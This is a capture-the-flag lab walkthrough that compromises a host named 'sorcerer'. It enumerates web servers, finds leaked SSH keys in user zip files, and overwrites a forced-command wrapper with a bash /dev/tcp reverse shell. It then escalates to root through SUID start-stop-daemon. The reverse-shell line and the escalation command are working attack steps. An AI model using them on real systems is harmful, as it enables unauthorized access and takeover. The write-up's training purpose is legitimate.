Summary
We'll leverage various web server leaks to gain an initial foothold on this target. We'll then exploit a user script to gain a user-level shell and escalate via an insecure SUID configuration.
Enumeration
We'll begin enumerating with a quick nmap TCP port scan.
kali@kali:~$ nmap 192.168.120.29 -p-
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7742/tcp open msss
8080/tcp open http-proxy
44813/tcp open unknown
51809/tcp open unknown
57255/tcp open unknown
57317/tcp open unknown
...
Next, we'll target several ports with nmap -A.
kali@kali:~$ nmap 192.168.120.29 -p22,80,111,2049,7742,8080 -A
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
...
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
...
2049/tcp open nfs_acl 3 (RPC #100227)
7742/tcp open http nginx
|_http-server-header: nginx
|_http-title: SORCERER
8080/tcp open http Apache Tomcat 7.0.4
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We find several web servers running: an Apache Tomcat version 7.0.4 on port 8080, a Control Panel on 7742, and another web service on port 80 which returns a "404 Not Found" error when accessing the web root. Attempts to exploit Tomcat fail, so we'll instead focus on the Control Panel on port 7742. Let's execute a dirb scan with the default wordlist. We ultimately discover a /zipfiles directory.
kali@kali:~$ dirb <http://192.168.120.29:7742>
...
URL_BASE: <http://192.168.120.29:7742/>
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
...
---- Scanning URL: <http://192.168.120.29:7742/> ----
==> DIRECTORY: <http://192.168.120.29:7742/default/>
+ <http://192.168.120.29:7742/index.html> (CODE:200|SIZE:1219)
==> DIRECTORY: <http://192.168.120.29:7742/zipfiles/>
Within /zipfiles we find several .zip files which seem to belong to various users:
kali@kali:~$ curl <http://192.168.120.29:7742/zipfiles/> | html2text
...
****** Index of /zipfiles/ ******
===============================================================================
../
francis.zip 24-Sep-2020 19:27
2834
max.zip 24-Sep-2020 19:27
8274
miriam.zip 24-Sep-2020 19:27
2826
sofia.zip 24-Sep-2020 19:27
2818
===============================================================================
After downloading and expanding the zip files, we discover several interesting files including SSH authorized_keys and id_rsa files which belong to the max user:
kali@kali:~/home/max/.ssh$ ls -al
total 20
drwxr-xr-x 2 kali kali 4096 Sep 24 15:27 .
drwxr-xr-x 3 kali kali 4096 Sep 24 15:27 ..
-rw-r--r-- 1 kali kali 836 Sep 24 15:27 authorized_keys
-rw-r--r-- 1 kali kali 3381 Sep 24 15:27 id_rsa
-rw-r--r-- 1 kali kali 738 Sep 24 15:27 id_rsa.pub
The authorized_keys file contains interesting configuration options, in particular, the command= option appears to run a scp_wrapper.sh script on login:
kali@kali:~/home/max/.ssh$ cat authorized_keys
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0
...
We find the scp_wrapper.sh script itself in an archive of max's home directory:
kali@kali:~/home/max$ cat scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
scp
;;
esac
The contents of the authorized_keys file and the scp_wrapper.sh script suggest that this user is blocking SSH access but allows SCP. Let's test this. We'll set the correct permissions on id_rsa and attempt to log in via SSH. The error is consistent with what we found in the scp_wrapper.sh script:
kali@kali:~/home/max/.ssh$ ssh -i id_rsa [email protected]
...
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program] source ... target
Connection to 192.168.120.29 closed.
This is a clear indication that the scp_wrapper.sh script is running, and that it is indeed blocking SSH. We still may be able to use this key to gain access to the target via SCP.
Exploitation
Let's attempt to modify this script and upload it to the target, overwriting the original. Our version will launch a simple reverse shell:
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
bash -i >& /dev/tcp/192.168.18.11/443 0>&1
;;
esac
Next, we'll copy it to the target.
kali@kali:~/home/max$ scp -i .ssh/id_rsa scp_wrapper.sh [email protected]:/home/max/
The authenticity of host '192.168.120.29 (192.168.120.29)' can't be established.
ECDSA key fingerprint is SHA256:1PY83TEUQqDNgXXB6iOOdqU+i3fBhc1zk4eg8yQyiXQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.120.29' (ECDSA) to the list of known hosts.
scp_wrapper.sh 100% 179 7.3KB/s 00:00
/home/max/scp_wrapper.sh: line 11: /dev/tcp/192.168.118.11/443: No such file or directory
/home/max/scp_wrapper.sh: line 12: syntax error near unexpected token `;;'
/home/max/scp_wrapper.sh: line 12: ` ;;'
The copy generates errors, but we'll ignore them for now. Let's configure a netcat listener to catch our reverse shell.
kali@kali:~$ sudo nc -nlvp 443
Next, we'll attempt to log in via SSH to trigger our reverse shell.
kali@kali:~/home/max$ ssh -i .ssh/id_rsa [email protected]
PTY allocation request failed on channel 0
ACCESS DENIED.
It worked. We have caught a reverse shell as max.
...
connect to [192.168.118.11] from (UNKNOWN) [192.168.120.29] 48666
bash: cannot set terminal process group (932): Inappropriate ioctl for device
bash: no job control in this shell
max@sorcerer:~$ id
id
uid=1003(max) gid=1003(max) groups=1003(max)
max@sorcerer:~$
Escalation
Let's run a quick search for SUID executables.
max@sorcerer:~$ find / -perm /4000 2>/dev/null
...
/usr/sbin/start-stop-daemon
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/su
...
After some research, we learn that we can exploit start-stop-daemon if it is SUID. Executing the following command results in a root shell:
max@sorcerer:~$ /usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p
/usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p
whoami
root
Upgrade the shell:
/usr/bin/script -qc /bin/bash /dev/null
Discussion